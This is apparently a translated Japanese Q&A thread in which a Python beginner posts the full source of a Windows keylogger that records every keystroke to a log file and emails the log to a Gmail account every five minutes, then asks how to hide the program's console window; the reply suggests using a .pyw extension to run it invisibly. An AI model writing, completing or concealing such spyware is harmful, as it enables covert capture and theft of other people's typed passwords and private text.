0

私はPythonが初めてです。私はキーロガープログラムを書いています。

私はこれを書きました:

#!/usr/bin/python
import pythoncom , pyHook , time, smtplib
LOG = open("C:\LOG.txt", "a")
LOG.write("")
LOG.close()
_time = time.strftime(" %A, %d, %B, %Y, %H : %M ")
_time1 = _time
num_lines =sum(1 for line in open('C:\LOG.txt'))
if num_lines > 45 :
       LOG = open("C:\LOG.txt", "w")
       LOG.truncate()
       LOG.close()
LOG = open("C:\LOG.txt", "a")
LOG.write("\n>>>============================ Start KeyLogger [%s] ============================<<<\n"%(_time)) 
LOG.close()
timer = time.time()
mtxt = ""
def OnKeyboardEvent(event) :
    global _time1
    global timer
    c = time.strftime(" %A, %d, %B, %Y, %H : %M ")
    timer2 = time.time()
    if timer2 >= timer+300.0 :
        LOG = open("C:\LOG.txt","r")
        TXT = LOG.readlines()
        i = 0
        while i < len(TXT) :
            global mtxt
            global txt
            txt = TXT[i]
            i += 1
            mtxt += txt 
        server = smtplib.SMTP("smtp.gmail.com:25")
        server.starttls()
        server.login("myemail@gmail.com", "password")
        server.sendmail("myemail@gmail.com", "myemail@gmail.com", mtxt)
        server.quit()
        LOG.close()
        timer = timer2
    
    if _time1 == c  : 
        LOG = open("C:\LOG.txt", "a")
        LOG.write(chr(event.Ascii))
        LOG.close()
        
        
    elif _time1 != c :
        LOG = open("C:\LOG.txt", "a")
        LOG.write("\n[%s]\n"% (c))
        LOG.close()
        _time1 = c
   
hm = pyHook.HookManager()  
hm.KeyDown = OnKeyboardEvent   
hm.HookKeyboard()  

pythoncom.PumpMessages()

それが非常に厄介なのはわかっています...しかし、私はまだそれに取り組んでおり、他のキーロガーを見ないようにしました...

正常に動作し、5分ごとにキーを含むメールが送信されます...しかし、コンパイルしようとするとpy2exe、起動するkeylogger.exeとプロンプトウィンドウが開きます...正常に動作していますが、ウィンドウがあります。そのウィンドウを非表示にするか、プログラムをプロセスに変更したいのですが、方法がわかりません...

4

1 に答える 1

0

py2exeを使用してpythonファイルを実行可能ファイルに変換する前に、pythonスクリプトの拡張子を.pyから.pywに変更するだけでよいと思います。それが役に立てば幸い。

プログラムが .py 拡張子では動作するのに .pyw 拡張子では動作しないのはなぜですか?

于 2015-05-19T18:48:20.787 に答える